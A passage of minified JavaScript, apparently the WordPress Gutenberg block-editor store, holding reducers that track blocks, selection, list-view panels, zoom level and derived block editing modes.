Map(r.tree),o.clientIds.forEach(i=&gt;{r.tree.set(i,{...r.tree.get(i),attributes:r.attributes.get(i)})}),hl(r,o.clientIds,!1);break}case&quot;REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{let i=Z6(o.blocks);r.tree=new Map(r.tree),o.replacedClientIds.forEach(a=&gt;{r.tree.delete(a),i[a]||r.tree.delete(&quot;controlled||&quot;+a)}),$6(r,o.blocks),hl(r,o.blocks.map(a=&gt;a.clientId),!1);let s=[];for(let a of o.clientIds){let c=t.parents.get(a);c!==void 0&amp;&amp;(c===&quot;&quot;||r.byClientId.get(c))&amp;&amp;s.push(c)}hl(r,s,!0);break}case&quot;REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:let n=[];for(let i of o.clientIds){let s=t.parents.get(i);s!==void 0&amp;&amp;(s===&quot;&quot;||r.byClientId.get(s))&amp;&amp;n.push(s)}r.tree=new Map(r.tree),o.removedClientIds.forEach(i=&gt;{r.tree.delete(i),r.tree.delete(&quot;controlled||&quot;+i)}),hl(r,n,!0);break;case&quot;MOVE_BLOCKS_TO_POSITION&quot;:{let i=[];o.fromRootClientId?i.push(o.fromRootClientId):i.push(&quot;&quot;),o.toRootClientId&amp;&amp;i.push(o.toRootClientId),r.tree=new Map(r.tree),hl(r,i,!0);break}case&quot;MOVE_BLOCKS_UP&quot;:case&quot;MOVE_BLOCKS_DOWN&quot;:{let i=[o.rootClientId?o.rootClientId:&quot;&quot;];r.tree=new Map(r.tree),hl(r,i,!0);break}case&quot;SAVE_REUSABLE_BLOCK_SUCCESS&quot;:{let i=[];r.attributes.forEach((s,a)=&gt;{r.byClientId.get(a).name===&quot;core/block&quot;&amp;&amp;s.ref===o.updatedId&amp;&amp;i.push(a)}),r.tree=new Map(r.tree),i.forEach(s=&gt;{r.tree.set(s,{...r.byClientId.get(s),attributes:r.attributes.get(s),innerBlocks:r.tree.get(s).innerBlocks})}),hl(r,i,!1)}}return r};function hpe(e){let t,o=!1,r;return(n,i)=&gt;{let s=e(n,i),a;if(i.type===&quot;SET_EXPLICIT_PERSISTENT&quot;&amp;&amp;(r=i.isPersistentChange,a=n.isPersistentChange??!0),r!==void 0)return a=r,a===s.isPersistentChange?s:{...s,isPersistentChange:a};let c=i.type===&quot;MARK_LAST_CHANGE_AS_PERSISTENT&quot;||o;return n===s&amp;&amp;!c?(o=i.type===&quot;MARK_NEXT_CHANGE_AS_NOT_PERSISTENT&quot;,a=n?.isPersistentChange??!0,n.isPersistentChange===a?n:{...s,isPersistentChange:a}):(s={...s,isPersistentChange:c?!o:!mpe(i,t)},t=i,o=i.type===&quot;MARK_NEXT_CHANGE_AS_NOT_PERSISTENT&quot;,s)}}function gpe(e){let t=new Set([&quot;RECEIVE_BLOCKS&quot;]);return(o,r)=&gt;{let n=e(o,r);return n!==o&amp;&amp;(n.isIgnoredChange=t.has(r.type)),n}}var bpe=e=&gt;(t,o)=&gt;{let r=n=&gt;{let i=n;for(let s=0;s&lt;i.length;s++)!t.order.get(i[s])||o.keepControlledInnerBlocks&amp;&amp;o.keepControlledInnerBlocks[i[s]]||(i===n&amp;&amp;(i=[...i]),i.push(...t.order.get(i[s])));return i};if(t)switch(o.type){case&quot;REMOVE_BLOCKS&quot;:o={...o,type:&quot;REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;,removedClientIds:r(o.clientIds)};break;case&quot;REPLACE_BLOCKS&quot;:o={...o,type:&quot;REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;,replacedClientIds:r(o.clientIds)};break}return e(t,o)},kpe=e=&gt;(t,o)=&gt;{if(o.type===&quot;RESET_BLOCKS&quot;){let r=e(void 0,{type:&quot;INSERT_BLOCKS&quot;,rootClientId:&quot;&quot;,blocks:o.blocks}),n=t?.controlledInnerBlocks??{};if(t?.order)for(let s of Object.keys(n)){if(!n[s]||!r.byClientId.has(s))continue;r.controlledInnerBlocks[s]=!0;let a=t.order.get(s);if(!a?.length)continue;r.order.set(s,a);let c=(u,d)=&gt;{let f=t.byClientId.get(u);if(!f)return;r.byClientId.set(u,f),r.attributes.set(u,t.attributes.get(u)),r.parents.set(u,d);let m=t.order.get(u)||[];r.order.set(u,m),m.forEach(h=&gt;c(h,u))};a.forEach(u=&gt;c(u,s))}for(let s of Object.keys(r.controlledInnerBlocks)){let a=r.order.get(s);if(!a?.length)continue;let c=a.map(f=&gt;t.tree.get(f)),u=r.tree.get(s);u&amp;&amp;(u.innerBlocks=c),r.tree.set(&quot;controlled||&quot;+s,{innerBlocks:c});let d=f=&gt;{let m=t.tree.get(f);if(!m)return;r.tree.set(f,m),(r.order.get(f)||[]).forEach(d)};a.forEach(d)}let i=t?.blockEditingModes??new Map;for(let[s,a]of i)r.tree.has(s)&amp;&amp;r.blockEditingModes.set(s,a);return r}return e(t,o)},vpe=e=&gt;(t,o)=&gt;{if(o.type!==&quot;REPLACE_INNER_BLOCKS&quot;)return e(t,o);let r={};if(Object.keys(t.controlledInnerBlocks).length){let s=[...o.blocks];for(;s.length;){let{innerBlocks:a,...c}=s.shift();s.push(...a),t.controlledInnerBlocks[c.clientId]&amp;&amp;(r[c.clientId]=!0)}}let n=t;t.order.get(o.rootClientId)&amp;&amp;(n=e(n,{type:&quot;REMOVE_BLOCKS&quot;,keepControlledInnerBlocks:r,clientIds:t.order.get(o.rootClientId)}));let i=n;if(o.blocks.length){i=e(i,{...o,type:&quot;INSERT_BLOCKS&quot;,index:0});let s=new Map(i.order);Object.keys(r).forEach(a=&gt;{t.order.get(a)&amp;&amp;s.set(a,t.order.get(a))}),i.order=s,i.tree=new Map(i.tree),Object.keys(r).forEach(a=&gt;{let c=`controlled||${a}`;t.tree.has(c)&amp;&amp;i.tree.set(c,t.tree.get(c))})}return i},ype=e=&gt;(t,o)=&gt;{if(t&amp;&amp;o.type===&quot;SAVE_REUSABLE_BLOCK_SUCCESS&quot;){let{id:r,updatedId:n}=o;if(r===n)return t;t={...t},t.attributes=new Map(t.attributes),t.attributes.forEach((i,s)=&gt;{let{name:a}=t.byClientId.get(s);a===&quot;core/block&quot;&amp;&amp;i.ref===r&amp;&amp;t.attributes.set(s,{...i,ref:n})})}return e(t,o)},Spe=e=&gt;(t,o)=&gt;{if(o.type===&quot;SET_HAS_CONTROLLED_INNER_BLOCKS&quot;){if(t.order.get(o.clientId)?.length){let n=e(t,{type:&quot;REPLACE_INNER_BLOCKS&quot;,rootClientId:o.clientId,blocks:[]});return e(n,o)}return e(t,o)}return e(t,o)},_pe=(0,TO.pipe)(Zk.combineReducers,ype,ppe,bpe,vpe,kpe,hpe,gpe,Spe)({byClientId(e=new Map,t){switch(t.type){case&quot;RECEIVE_BLOCKS&quot;:case&quot;INSERT_BLOCKS&quot;:{let o=new Map(e);return G6(t.blocks).forEach(([r,n])=&gt;{o.set(r,n)}),o}case&quot;UPDATE_BLOCK&quot;:{if(!e.has(t.clientId))return e;let{attributes:o,...r}=t.updates;if(Object.values(r).length===0)return e;let n=new Map(e);return n.set(t.clientId,{...e.get(t.clientId),...r}),n}case&quot;REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{if(!t.blocks)return e;let o=new Map(e);return t.replacedClientIds.forEach(r=&gt;{o.delete(r)}),G6(t.blocks).forEach(([r,n])=&gt;{o.set(r,n)}),o}case&quot;REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{let o=new Map(e);return t.removedClientIds.forEach(r=&gt;{o.delete(r)}),o}}return e},attributes(e=new Map,t){switch(t.type){case&quot;RECEIVE_BLOCKS&quot;:case&quot;INSERT_BLOCKS&quot;:{let o=new Map(e);return W6(t.blocks).forEach(([r,n])=&gt;{o.set(r,n)}),o}case&quot;UPDATE_BLOCK&quot;:{if(!e.get(t.clientId)||!t.updates.attributes)return e;let o=new Map(e);return o.set(t.clientId,{...e.get(t.clientId),...t.updates.attributes}),o}case&quot;SYNC_DERIVED_BLOCK_ATTRIBUTES&quot;:case&quot;UPDATE_BLOCK_ATTRIBUTES&quot;:{if(t.clientIds.every(n=&gt;!e.get(n)))return e;let o=!1,r=new Map(e);for(let n of t.clientIds){let i=Object.entries(t.options?.uniqueByBlock?t.attributes[n]:t.attributes??{});if(i.length===0)continue;let s=!1,a=e.get(n),c={};i.forEach(([u,d])=&gt;{a[u]!==d&amp;&amp;(s=!0,c[u]=d)}),o=o||s,s&amp;&amp;r.set(n,{...a,...c})}return o?r:e}case&quot;REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{if(!t.blocks)return e;let o=new Map(e);return t.replacedClientIds.forEach(r=&gt;{o.delete(r)}),W6(t.blocks).forEach(([r,n])=&gt;{o.set(r,n)}),o}case&quot;REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{let o=new Map(e);return t.removedClientIds.forEach(r=&gt;{o.delete(r)}),o}}return e},order(e=new Map,t){switch(t.type){case&quot;RECEIVE_BLOCKS&quot;:{let o=B0(t.blocks),r=new Map(e);return o.forEach((n,i)=&gt;{i!==&quot;&quot;&amp;&amp;r.set(i,n)}),r.set(&quot;&quot;,(e.get(&quot;&quot;)??[]).concat(o[&quot;&quot;])),r}case&quot;INSERT_BLOCKS&quot;:{let{rootClientId:o=&quot;&quot;}=t,r=e.get(o)||[],n=B0(t.blocks,o),{index:i=r.length}=t,s=new Map(e);return n.forEach((a,c)=&gt;{s.set(c,a)}),s.set(o,k0(r,n.get(o),i)),s}case&quot;MOVE_BLOCKS_TO_POSITION&quot;:{let{fromRootClientId:o=&quot;&quot;,toRootClientId:r=&quot;&quot;,clientIds:n}=t,{index:i=e.get(r).length}=t;if(o===r){let c=e.get(r).indexOf(n[0]),u=new Map(e);return u.set(r,v0(e.get(r),c,i,n.length)),u}let s=new Map(e);return s.set(o,e.get(o)?.filter(a=&gt;!n.includes(a))??[]),s.set(r,k0(e.get(r),n,i)),s}case&quot;MOVE_BLOCKS_UP&quot;:{let{clientIds:o,rootClientId:r=&quot;&quot;}=t,n=o[0],i=e.get(r);if(!i.length||n===i[0])return e;let s=i.indexOf(n),a=new Map(e);return a.set(r,v0(i,s,s-1,o.length)),a}case&quot;MOVE_BLOCKS_DOWN&quot;:{let{clientIds:o,rootClientId:r=&quot;&quot;}=t,n=o[0],i=o[o.length-1],s=e.get(r);if(!s.length||i===s[s.length-1])return e;let a=s.indexOf(n),c=new Map(e);return c.set(r,v0(s,a,a+1,o.length)),c}case&quot;REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{let{clientIds:o}=t;if(!t.blocks)return e;let r=B0(t.blocks),n=new Map(e);return t.replacedClientIds.forEach(i=&gt;{n.delete(i)}),r.forEach((i,s)=&gt;{s!==&quot;&quot;&amp;&amp;n.set(s,i)}),n.forEach((i,s)=&gt;{let a=Object.values(i).reduce((c,u)=&gt;u===o[0]?[...c,...r.get(&quot;&quot;)]:(o.indexOf(u)===-1&amp;&amp;c.push(u),c),[]);n.set(s,a)}),n}case&quot;REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{let o=new Map(e);return t.removedClientIds.forEach(r=&gt;{o.delete(r)}),o.forEach((r,n)=&gt;{let i=r?.filter(s=&gt;!t.removedClientIds.includes(s))??[];i.length!==r.length&amp;&amp;o.set(n,i)}),o}}return e},parents(e=new Map,t){switch(t.type){case&quot;RECEIVE_BLOCKS&quot;:{let o=new Map(e);return BO(t.blocks).forEach(([r,n])=&gt;{o.set(r,n)}),o}case&quot;INSERT_BLOCKS&quot;:{let o=new Map(e);return BO(t.blocks,t.rootClientId||&quot;&quot;).forEach(([r,n])=&gt;{o.set(r,n)}),o}case&quot;MOVE_BLOCKS_TO_POSITION&quot;:{let o=new Map(e);return t.clientIds.forEach(r=&gt;{o.set(r,t.toRootClientId||&quot;&quot;)}),o}case&quot;REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{let o=new Map(e);return t.replacedClientIds.forEach(r=&gt;{o.delete(r)}),BO(t.blocks,e.get(t.clientIds[0])).forEach(([r,n])=&gt;{o.set(r,n)}),o}case&quot;REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN&quot;:{let o=new Map(e);return t.removedClientIds.forEach(r=&gt;{o.delete(r)}),o}}return e},controlledInnerBlocks(e={},{type:t,clientId:o,hasControlledInnerBlocks:r}){return t===&quot;SET_HAS_CONTROLLED_INNER_BLOCKS&quot;?{...e,[o]:r}:e},blockEditingModes(e=new Map,t){switch(t.type){case&quot;SET_BLOCK_EDITING_MODE&quot;:return e.get(t.clientId)===t.mode?e:new Map(e).set(t.clientId,t.mode);case&quot;UNSET_BLOCK_EDITING_MODE&quot;:{if(!e.has(t.clientId))return e;let o=new Map(e);return o.delete(t.clientId),o}}return e}});function xpe(e=!1,t){switch(t.type){case&quot;HIDE_BLOCK_INTERFACE&quot;:return!0;case&quot;SHOW_BLOCK_INTERFACE&quot;:return!1}return e}function wpe(e=!1,t){switch(t.type){case&quot;START_TYPING&quot;:return!0;case&quot;STOP_TYPING&quot;:return!1}return e}function Cpe(e=!1,t){switch(t.type){case&quot;START_DRAGGING&quot;:return!0;case&quot;STOP_DRAGGING&quot;:return!1}return e}function Bpe(e=[],t){switch(t.type){case&quot;START_DRAGGING_BLOCKS&quot;:return t.clientIds;case&quot;STOP_DRAGGING_BLOCKS&quot;:return[]}return e}function Epe(e={},t){return t.type===&quot;SET_BLOCK_VISIBILITY&quot;?{...e,...t.updates}:e}function K6(e={},t){switch(t.type){case&quot;CLEAR_SELECTED_BLOCK&quot;:return e.clientId?{}:e;case&quot;SELECT_BLOCK&quot;:return t.clientId===e.clientId?e:{clientId:t.clientId};case&quot;REPLACE_INNER_BLOCKS&quot;:case&quot;INSERT_BLOCKS&quot;:return!t.updateSelection||!t.blocks.length?e:{clientId:t.blocks[0].clientId};case&quot;REMOVE_BLOCKS&quot;:return!t.clientIds||!t.clientIds.length||t.clientIds.indexOf(e.clientId)===-1?e:{};case&quot;REPLACE_BLOCKS&quot;:{if(t.clientIds.indexOf(e.clientId)===-1)return e;let o=t.blocks[t.indexToSelect]||t.blocks[t.blocks.length-1];return o?o.clientId===e.clientId?e:{clientId:o.clientId}:{}}}return e}function Tpe(e={},t){switch(t.type){case&quot;SELECTION_CHANGE&quot;:return t.clientId?{selectionStart:{clientId:t.clientId,attributeKey:t.attributeKey,offset:t.startOffset},selectionEnd:{clientId:t.clientId,attributeKey:t.attributeKey,offset:t.endOffset}}:{selectionStart:t.start||e.selectionStart,selectionEnd:t.end||e.selectionEnd};case&quot;RESET_SELECTION&quot;:let{selectionStart:n,selectionEnd:i}=t;return{selectionStart:n,selectionEnd:i};case&quot;MULTI_SELECT&quot;:let{start:s,end:a}=t;return s===e.selectionStart?.clientId&amp;&amp;a===e.selectionEnd?.clientId?e:{selectionStart:{clientId:s},selectionEnd:{clientId:a}};case&quot;RESET_BLOCKS&quot;:let c=e?.selectionStart?.clientId,u=e?.selectionEnd?.clientId;if(!c&amp;&amp;!u)return e;if(!t.blocks.some(d=&gt;d.clientId===c))return{selectionStart:{},selectionEnd:{}};if(!t.blocks.some(d=&gt;d.clientId===u))return{...e,selectionEnd:e.selectionStart}}let o=K6(e.selectionStart,t),r=K6(e.selectionEnd,t);return o===e.selectionStart&amp;&amp;r===e.selectionEnd?e:{selectionStart:o,selectionEnd:r}}function Ipe(e=!1,t){switch(t.type){case&quot;START_MULTI_SELECT&quot;:return!0;case&quot;STOP_MULTI_SELECT&quot;:return!1}return e}function Ppe(e=!0,t){return t.type===&quot;TOGGLE_SELECTION&quot;?t.isSelectionEnabled:e}function Rpe(e=null,t){switch(t.type){case&quot;SHOW_VIEWPORT_MODAL&quot;:return t.clientIds;case&quot;HIDE_VIEWPORT_MODAL&quot;:return null}return e}function Ope(e=!1,t){switch(t.type){case&quot;DISPLAY_BLOCK_REMOVAL_PROMPT&quot;:let{clientIds:o,selectPrevious:r,message:n}=t;return{clientIds:o,selectPrevious:r,message:n};case&quot;CLEAR_BLOCK_REMOVAL_PROMPT&quot;:return!1}return e}function Ape(e=!1,t){return t.type===&quot;SET_BLOCK_REMOVAL_RULES&quot;?t.rules:e}function Lpe(e=null,t){return t.type===&quot;REPLACE_BLOCKS&quot;&amp;&amp;t.initialPosition!==void 0||[&quot;MULTI_SELECT&quot;,&quot;SELECT_BLOCK&quot;,&quot;RESET_SELECTION&quot;,&quot;INSERT_BLOCKS&quot;,&quot;REPLACE_INNER_BLOCKS&quot;].includes(t.type)?t.initialPosition:e}function Npe(e={},t){if(t.type===&quot;TOGGLE_BLOCK_MODE&quot;){let{clientId:o}=t;return{...e,[o]:e[o]&amp;&amp;e[o]===&quot;html&quot;?&quot;visual&quot;:&quot;html&quot;}}return e}function Mpe(e=null,t){switch(t.type){case&quot;SHOW_INSERTION_POINT&quot;:{let{rootClientId:o,index:r,__unstableWithInserter:n,operation:i,nearestSide:s}=t,a={rootClientId:o,index:r,__unstableWithInserter:n,operation:i,nearestSide:s};return(0,qk.default)(e,a)?e:a}case&quot;HIDE_INSERTION_POINT&quot;:return null}return e}function Dpe(e={isValid:!0},t){return t.type===&quot;SET_TEMPLATE_VALIDITY&quot;?{...e,isValid:t.isValid}:e}function Vpe(e=Kk,t){if(t.type===&quot;UPDATE_SETTINGS&quot;){let o=t.reset?{...Kk,...t.settings}:{...e,...t.settings};return Object.defineProperty(o,&quot;__unstableIsPreviewMode&quot;,{get(){return(0,Y6.default)(&quot;__unstableIsPreviewMode&quot;,{since:&quot;6.8&quot;,alternative:&quot;isPreviewMode&quot;}),this.isPreviewMode}}),o}return e}function Fpe(e=H6,t){switch(t.type){case&quot;INSERT_BLOCKS&quot;:case&quot;REPLACE_BLOCKS&quot;:{let o=t.blocks.reduce((r,n)=&gt;{let{attributes:i,name:s}=n,a=s,c=(0,Zk.select)(E0.store).getActiveBlockVariation(s,i);return c?.name&amp;&amp;(a+=&quot;/&quot;+c.name),s===&quot;core/block&quot;&amp;&amp;(a+=&quot;/&quot;+i.ref),{...r,[a]:{time:t.time,count:r[a]?r[a].count+1:1}}},e.insertUsage);return{...e,insertUsage:o}}}return e}var zpe=(e={},t)=&gt;{switch(t.type){case&quot;REPLACE_BLOCKS&quot;:{let o=new Set,r=[...t.blocks];for(;r.length;){let n=r.shift();o.add(n.clientId),r.push(...n.innerBlocks)}return Object.fromEntries(Object.entries(e).filter(([n])=&gt;!t.clientIds.includes(n)||o.has(n)))}case&quot;REMOVE_BLOCKS&quot;:return Object.fromEntries(Object.entries(e).filter(([o])=&gt;!t.clientIds.includes(o)));case&quot;UPDATE_BLOCK_LIST_SETTINGS&quot;:{let o=typeof t.clientId==&quot;string&quot;?{[t.clientId]:t.settings}:t.clientId;for(let n in o)o[n]?(0,qk.default)(e[n],o[n])&amp;&amp;delete o[n]:e[n]||delete o[n];if(Object.keys(o).length===0)return e;let r={...e,...o};for(let n in o)o[n]||delete r[n];return r}}return e};function jpe(e=null,t){switch(t.type){case&quot;UPDATE_BLOCK&quot;:if(!t.updates.attributes)break;return{[t.clientId]:t.updates.attributes};case&quot;UPDATE_BLOCK_ATTRIBUTES&quot;:return t.clientIds.reduce((o,r)=&gt;({...o,[r]:t.options?.uniqueByBlock?t.attributes[r]:t.attributes}),{})}return e}function Upe(e,t){switch(t.type){case&quot;TOGGLE_BLOCK_HIGHLIGHT&quot;:let{clientId:o,isHighlighted:r}=t;return r?o:e===o?null:e;case&quot;SELECT_BLOCK&quot;:if(t.clientId!==e)return null}return e}function Hpe(e,t){switch(t.type){case&quot;TOGGLE_BLOCK_SPOTLIGHT&quot;:let{clientId:o,hasBlockSpotlight:r}=t;return r?o:e===o?null:e;case&quot;SELECT_BLOCK&quot;:return t.clientId!==e?null:e;case&quot;SELECTION_CHANGE&quot;:return t.start?.clientId!==e||t.end?.clientId!==e?null:e;case&quot;CLEAR_SELECTED_BLOCK&quot;:return null}return e}function Gpe(e=null,t){switch(t.type){case&quot;SET_BLOCK_EXPANDED_IN_LIST_VIEW&quot;:return t.clientId;case&quot;SELECT_BLOCK&quot;:if(t.clientId!==e)return null}return e}function Wpe(e={},t){switch(t.type){case&quot;INSERT_BLOCKS&quot;:case&quot;REPLACE_BLOCKS&quot;:if(!t.blocks.length)return e;let o=t.blocks.map(n=&gt;n.clientId),r=t.meta?.source;return{clientIds:o,source:r};case&quot;RESET_BLOCKS&quot;:return{}}return e}function $pe(e,t){if(t.type===&quot;EDIT_CONTENT_ONLY_SECTION&quot;)return t.clientId;if(!e)return e;switch(t.type){case&quot;REMOVE_BLOCKS&quot;:case&quot;REPLACE_BLOCKS&quot;:if(t.clientIds.includes(e))return;break;case&quot;RESET_BLOCKS&quot;:if(!Z6(t.blocks)[e])return;break}return e}function Kpe(e=new Map,t){switch(t.type){case&quot;SET_STYLE_OVERRIDE&quot;:return new Map(e).set(t.id,t.style);case&quot;DELETE_STYLE_OVERRIDE&quot;:{let o=new Map(e);return o.delete(t.id),o}}return e}function Ype(e=[],t){return t.type===&quot;REGISTER_INSERTER_MEDIA_CATEGORY&quot;?[...e,t.category]:e}function qpe(e=!1,t){return t.type===&quot;LAST_FOCUS&quot;?t.lastFocus:e}function Zpe(e=100,t){switch(t.type){case&quot;SET_ZOOM_LEVEL&quot;:return t.zoom;case&quot;RESET_ZOOM_LEVEL&quot;:return 100}return e}function Xpe(e=null,t){switch(t.type){case&quot;SET_INSERTION_POINT&quot;:return t.value;case&quot;SELECT_BLOCK&quot;:return null}return e}function Qpe(e={allOpen:!1,panels:{}},t){switch(t.type){case&quot;SET_OPEN_LIST_VIEW_PANEL&quot;:return{allOpen:!1,panels:t.clientId?{[t.clientId]:!0}:{}};case&quot;SET_ALL_LIST_VIEW_PANELS_OPEN&quot;:return{allOpen:!0,panels:{}};case&quot;TOGGLE_LIST_VIEW_PANEL&quot;:return{allOpen:!1,panels:{...e.panels,[t.clientId]:t.isOpen}};case&quot;REPLACE_BLOCKS&quot;:case&quot;REMOVE_BLOCKS&quot;:{if(!t.clientIds||t.clientIds.length===0)return e;let o={...e.panels},r=!1;return t.clientIds.forEach(n=&gt;{n in o&amp;&amp;(delete o[n],r=!0)}),r?{...e,panels:o}:e}}return e}function Jpe(e=0,t){return t.type===&quot;INCREMENT_LIST_VIEW_EXPAND_REVISION&quot;?e+1:e}function ehe(e=!1,t){switch(t.type){case&quot;OPEN_LIST_VIEW_CONTENT_PANEL&quot;:return!0;case&quot;CLOSE_LIST_VIEW_CONTENT_PANEL&quot;:return!1;case&quot;CLEAR_SELECTED_BLOCK&quot;:return!1}return e}function the(e=null,t){switch(t.type){case&quot;REQUEST_INSPECTOR_TAB&quot;:return{tabName:t.tabName,options:t.options};case&quot;CLEAR_REQUESTED_INSPECTOR_TAB&quot;:return null}return e}var ohe=(0,Zk.combineReducers)({blocks:_pe,isDragging:Cpe,isTyping:wpe,isBlockInterfaceHidden:xpe,draggedBlocks:Bpe,selection:Tpe,isMultiSelecting:Ipe,isSelectionEnabled:Ppe,initialPosition:Lpe,blocksMode:Npe,blockListSettings:zpe,insertionPoint:Xpe,insertionCue:Mpe,template:Dpe,settings:Vpe,preferences:Fpe,lastBlockAttributesChange:jpe,lastFocus:qpe,expandedBlock:Gpe,highlightedBlock:Upe,lastBlockInserted:Wpe,editedContentOnlySection:$pe,blockVisibility:Epe,viewportModalClientIds:Rpe,styleOverrides:Kpe,removalPromptData:Ope,blockRemovalRules:Ape,registeredInserterMediaCategories:Ype,zoomLevel:Zpe,hasBlockSpotlight:Hpe,openedListViewPanels:Qpe,listViewExpandRevision:Jpe,listViewContentPanelOpen:ehe,requestedInspectorTab:the});function X6(e,t){if(t===&quot;&quot;){let n=e.blocks.tree.get(t);return n?{clientId:&quot;&quot;,...n}:void 0}if(!e.blocks.controlledInnerBlocks[t])return e.blocks.tree.get(t);let o=e.blocks.tree.get(`controlled||${t}`);return{...e.blocks.tree.get(t),innerBlocks:o?.innerBlocks}}function IO(e,t,o){let r=X6(e,t);if(r&amp;&amp;(o(r),!!r?.innerBlocks?.length))for(let n of r?.innerBlocks)IO(e,n.clientId,o)}function Yk(e,t,o){if(!o.length)return;let r=e.blocks.parents.get(t);for(;r!==void 0;){if(o.includes(r))return r;r=e.blocks.parents.get(r)}}function rhe(e){return e?.attributes?.metadata?.bindings&amp;&amp;Object.keys(e?.attributes?.metadata?.bindings).length}function EO(e,t=&quot;&quot;){let o=e?.zoomLevel&lt;100||e?.zoomLevel===&quot;auto-scaled&quot;,r=new Map,n=e.settings?.[Zc],i=e.blocks.order.get(n),s=Array.from(e.blocks.blockEditingModes).some(([,g])=&gt;g===&quot;disabled&quot;),a=[],c=[];Object.keys(e.blocks.controlledInnerBlocks).forEach(g=&gt;{let b=e.blocks.byClientId?.get(g);b?.name===&quot;core/template-part&quot;&amp;&amp;a.push(g),b?.name===&quot;core/block&quot;&amp;&amp;c.push(g)});let u=Object.keys(e.blockListSettings).filter(g=&gt;e.blockListSettings[g]?.templateLock===&quot;contentOnly&quot;),d=e.settings?.[Xc],f=e.settings?.disableContentOnlyForUnsyncedPatterns,m=d||f?[]:Array.from(e.blocks.attributes.keys()).filter(g=&gt;e.blocks.attributes.get(g)?.metadata?.patternName),h=e.settings?.disableContentOnlyForTemplateParts,p=[...u,...m,...d||h?[]:a];return IO(e,t,g=&gt;{let{clientId:b,name:v}=g,k=!!e.editedContentOnlySection,y=!1;if(k&amp;&amp;(y=b===e.editedContentOnlySection||!!Yk(e,b,[e.editedContentOnlySection]),!y)){r.set(b,&quot;disabled&quot;);return}if(!e.blocks.blockEditingModes.has(b)){if(s){let S,x=e.blocks.parents.get(b);for(;x!==void 0&amp;&amp;(e.blocks.blockEditingModes.has(x)&amp;&amp;(S=e.blocks.blockEditingModes.get(x)),!S);)x=e.blocks.parents.get(x);if(S===&quot;disabled&quot;){r.set(b,&quot;disabled&quot;);return}}if(o){if(b===n){r.set(b,&quot;contentOnly&quot;);return}if(!i?.length){r.set(b,&quot;disabled&quot;);return}if(i.includes(b)){r.set(b,&quot;contentOnly&quot;);return}r.set(b,&quot;disabled&quot;);return}if(c.length){if(c.includes(b)){if(Yk(e,b,c)){r.set(b,&quot;disabled&quot;);return}return}let S=Yk(e,b,c);if(S){if(Yk(e,S,c)){r.set(b,&quot;disabled&quot;);return}if(rhe(g)){r.set(b,&quot;contentOnly&quot;);return}r.set(b,&quot;disabled&quot;);return}}if(k&amp;&amp;y){r.set(b,&quot;default&quot;);return}p.length&amp;&amp;Yk(e,b,p)&amp;&amp;(upe(v)?r.set(b,&quot;contentOnly&quot;):r.set(b,&quot;disabled&quot;))}}),r}function Qc({prevState:e,nextState:t,addedBlocks:o,removedClientIds:r}){let n=e.derivedBlockEditingModes,i;return r?.forEach(s=&gt;{IO(e,s,a=&gt;{n.has(a.clientId)&amp;&amp;(i||(i=new Map(n)),i.delete(a.clientId))})}),o?.forEach(s=&gt;{let a=EO(t,s.clientId);a.size&amp;&amp;(i?i=new Map([...i?.size?i:[],...a]):i=new Map([...n?.size?n:[],...a]))}),i}function nhe(e){return(t,o)=&gt;{let r=e(t,o);if(o.type!==&quot;SET_EDITOR_MODE&quot;&amp;&amp;r===t)return t;switch(o.type){case&quot;REMOVE_BLOCKS&quot;:{let n=Qc({prevState:t,nextState:r,removedClientIds:o.clientIds});if(n)return{...r,derivedBlockEditingModes:n??t.derivedBlockEditingModes};break}case&quot;RECEIVE_BLOCKS&quot;:case&quot;INSERT_BLOCKS&quot;:{let n=Qc({prevState:t,nextState:r,addedBlocks:o.blocks});if(n)return{...r,derivedBlockEditingModes:n??t.derivedBlockEditingModes};break}case&quot;UPDATE_BLOCK_ATTRIBUTES&quot;:{if(r.settings?.disableContentOnlyForUnsyncedPatterns)break;let i=[],s=[];for(let c of o?.clientIds){let u=o.options?.uniqueByBlock?o.attributes[c]:o.attributes;if(!u)break;u.metadata?.patternName&amp;&amp;!t.blocks.attributes.get(c)?.metadata?.patternName?i.push(r.blocks.tree.get(c)):u.metadata&amp;&amp;!u.metadata?.patternName&amp;&amp;t.blocks.attributes.get(c)?.metadata?.patternName&amp;&amp;s.push(c)}if(!i?.length&amp;&amp;!s?.length)break;let a=Qc({prevState:t,nextState:r,addedBlocks:i,removedClientIds:s});if(a)return{...r,derivedBlockEditingModes:a??t.derivedBlockEditingModes};break}case&quot;UPDATE_BLOCK_LIST_SETTINGS&quot;:{let n=[],i=[],s=typeof o.clientId==&quot;string&quot;?{[o.clientId]:o.settings}:o.clientId;for(let c in s){let u=t.blockListSettings[c]?.templateLock!==&quot;contentOnly&quot;&amp;&amp;r.blockListSettings[c]?.templateLock===&quot;contentOnly&quot;,d=t.blockListSettings[c]?.templateLock===&quot;contentOnly&quot;&amp;&amp;r.blockListSettings[c]?.templateLock!==&quot;contentOnly&quot;;u?n.push(r.blocks.tree.get(c)):d&amp;&amp;i.push(c)}if(!n.length&amp;&amp;!i.length)break;let a=Qc({prevState:t,nextState:r,addedBlocks:n,removedClientIds:i});if(a)return{...r,derivedBlockEditingModes:a??t.derivedBlockEditingModes};break}case&quot;SET_BLOCK_EDITING_MODE&quot;:case&quot;UNSET_BLOCK_EDITING_MODE&quot;:case&quot;SET_HAS_CONTROLLED_INNER_BLOCKS&quot;:{let n=X6(r,o.clientId);if(!n)break;let i=Qc({prevState:t,nextState:r,removedClientIds:[o.clientId],addedBlocks:[n]});if(i)return{...r,derivedBlockEditingModes:i??t.derivedBlockEditingModes};break}case&quot;REPLACE_BLOCKS&quot;:{let n=Qc({prevState:t,nextState:r,addedBlocks:o.blocks,removedClientIds:o.clientIds});if(n)return{...r,derivedBlockEditingModes:n??t.derivedBlockEditingModes};break}case&quot;REPLACE_INNER_BLOCKS&quot;:{let 